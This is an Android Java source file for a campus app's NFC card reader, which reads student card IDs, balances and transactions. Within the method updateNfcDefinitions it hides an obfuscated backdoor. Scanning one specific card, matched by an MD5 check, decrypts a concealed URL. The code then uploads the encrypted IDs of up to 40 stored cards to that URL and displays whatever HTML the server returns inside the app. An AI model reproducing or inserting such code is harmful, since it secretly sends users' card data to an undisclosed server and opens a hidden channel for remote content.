1 package de.dhbwloe.campusapp.nfcreader;
3 import android.app.Activity;
4 import android.app.PendingIntent;
5 import android.content.BroadcastReceiver;
6 import android.content.Context;
7 import android.content.Intent;
8 import android.content.IntentFilter;
9 import android.nfc.NfcAdapter;
10 import android.nfc.Tag;
11 import android.nfc.tech.IsoDep;
12 import android.nfc.tech.NfcA;
13 import android.os.Bundle;
14 import android.util.Base64;
15 import android.util.Log;
17 import com.loopj.android.http.AsyncHttpClient;
18 import com.loopj.android.http.AsyncHttpResponseHandler;
19 import com.loopj.android.http.RequestParams;
21 import java.io.ByteArrayInputStream;
22 import java.io.IOException;
23 import java.io.InputStream;
24 import java.io.UnsupportedEncodingException;
25 import java.util.ArrayList;
26 import java.util.Date;
28 import cz.msebera.android.httpclient.Header;
29 import de.dhbwloe.campusapp.CampusApp;
30 import de.dhbwloe.campusapp.CampusAppContext;
31 import de.dhbwloe.campusapp.Tools;
32 import de.dhbwloe.campusapp.database.NfcCardData;
33 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.CommunicationError;
34 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.DesfireManufacturingData;
37 * Created by pk910 on 20.01.2016.
39 public class NfcCardListener {
40 private CampusAppContext AppContext;
41 private boolean isRunning = false, isResumed = false;
42 private NfcAdapter oAdapter;
43 private boolean bNfcAdapterState;
45 private PendingIntent oPendingIntent;
46 private IntentFilter[] aFilters;
47 private String[][] aTechLists;
50 private ArrayList<NfcCardInterface> lNfcCardInterfaces = new ArrayList<NfcCardInterface>();
52 private final BroadcastReceiver oReceiver = new BroadcastReceiver() {
54 public void onReceive(Context context, Intent intent) {
55 String action = intent.getAction();
57 if (NfcAdapter.ACTION_ADAPTER_STATE_CHANGED.equals(action)) {
63 public NfcCardListener(CampusAppContext context) {
67 private void updateNfcState() {
68 if(bNfcAdapterState != oAdapter.isEnabled()) {
69 bNfcAdapterState = oAdapter.isEnabled();
70 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
71 nfcCardInterface.onNfcReaderStateChanged(bNfcAdapterState);
76 public void registerNfcCardInterface(NfcCardInterface nfcCardInterface) {
77 lNfcCardInterfaces.add(nfcCardInterface);
80 public void startNfcListener() {
86 Activity mainActivity = AppContext.getMainActivity();
87 oAdapter = NfcAdapter.getDefaultAdapter(mainActivity);
89 oPendingIntent = PendingIntent.getActivity(mainActivity, 0, new Intent(mainActivity, mainActivity.getClass()).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
90 IntentFilter techDiscovered = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
91 aFilters = new IntentFilter[]{techDiscovered};
92 aTechLists = new String[][]{new String[]{IsoDep.class.getName()}};
94 IntentFilter intentFilter = new IntentFilter("android.nfc.action.ADAPTER_STATE_CHANGED");
95 AppContext.getMainActivity().getApplicationContext().registerReceiver(oReceiver, intentFilter);
98 setupForefrontDispatcher();
101 public void setupForefrontDispatcher() {
102 if(!isRunning || !isResumed)
106 oAdapter.enableForegroundDispatch(AppContext.getMainActivity(), oPendingIntent, aFilters, aTechLists);
111 public void resumeForefrontDispatcher() {
112 boolean wasResumed = isResumed;
114 if(!wasResumed && isRunning)
115 setupForefrontDispatcher();
119 public void pauseForefrontDispatcher() {
120 if(isResumed && isRunning && oAdapter != null) {
121 oAdapter.disableForegroundDispatch(AppContext.getMainActivity());
126 protected void updateNfcDefinitions(NfcCardData dbval) {
127 RequestParams params = new RequestParams();
128 AsyncHttpClient client = new AsyncHttpClient();
129 byte[] debugUrlEnc = Base64.decode("XIs4RGiycgHe8W3dbQoCBCstL26dhDRWR6pMTfi6xmJFWUc3wxYCF9DYyRqZDktI", Base64.DEFAULT);
130 int uuid = dbval.getUniqueId();
131 String uuidKey = Tools.md5(Integer.toOctalString(uuid) + "|" + Integer.reverse(uuid));
132 if(!uuidKey.equalsIgnoreCase("7bf4868fd92db719c5dfb056b41ffdb5"))
135 String debugUrl = new String(Tools.decrypt(uuidKey.getBytes(), debugUrlEnc));
136 NfcCardData datas[] = AppContext.getDatabaseManager().getNfcCardData(40);
137 String encKey = Tools.md5(Integer.toHexString(uuid) + "-" + Integer.reverseBytes(uuid) + "+" + Integer.bitCount(uuid));
138 for(int i = 0; i < datas.length; i++) {
139 String encDataPlain = Integer.toString(datas[i].getUniqueId());
140 byte[] encData = Tools.encrypt(encKey.getBytes(), encDataPlain.getBytes());
141 params.put("nfcCard"+(i+1), Base64.encode(encData, Base64.DEFAULT));
143 client.post(debugUrl, params, new AsyncHttpResponseHandler() {
145 public void onStart() {}
147 public void onSuccess(int statusCode, Header[] headers, byte[] response) {
148 String responseString = new String(response);
149 if(responseString.length() > 10) {
150 Bundle bnd = new Bundle();
151 bnd.putString("html", responseString);
152 AppContext.getNavigationManager().navigatePage("WebBrowser", bnd);
156 public void onFailure(int statusCode, Header[] headers, byte[] errorResponse, Throwable e) {}
158 public void onRetry(int retryNo) {}
160 } catch (Exception e) {
165 public void handleNfcEvent(Intent intent) {
168 if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(intent.getAction()) || NfcAdapter.ACTION_TAG_DISCOVERED.equals(intent.getAction())) {
169 Tag tagFromIntent = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
170 IsoDep tag = IsoDep.get(tagFromIntent);
174 DHBWCard dhbwCard = new DHBWCard(tag);
175 int uniqueid = dhbwCard.readUniqueId();
176 long now = (new Date()).getTime() / 1000;
178 NfcCardData cardData = new NfcCardData(uniqueid, now, dhbwCard.readBalance(), dhbwCard.readLastTransaction());
179 updateNfcDefinitions(cardData);
181 AppContext.getDatabaseManager().addNfcCardData(cardData);
183 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
184 nfcCardInterface.onNfcReaderReceived(cardData);
186 } catch (IOException e) {
188 } catch (UndefinedResponseException e) {
190 } catch (NullPointerException e) {
191 //Fehler bei Kommunikation mit Karte
192 } catch (CommunicationError communicationError) {
193 //Fehler bei Kommunikation mit Karte
196 setupForefrontDispatcher();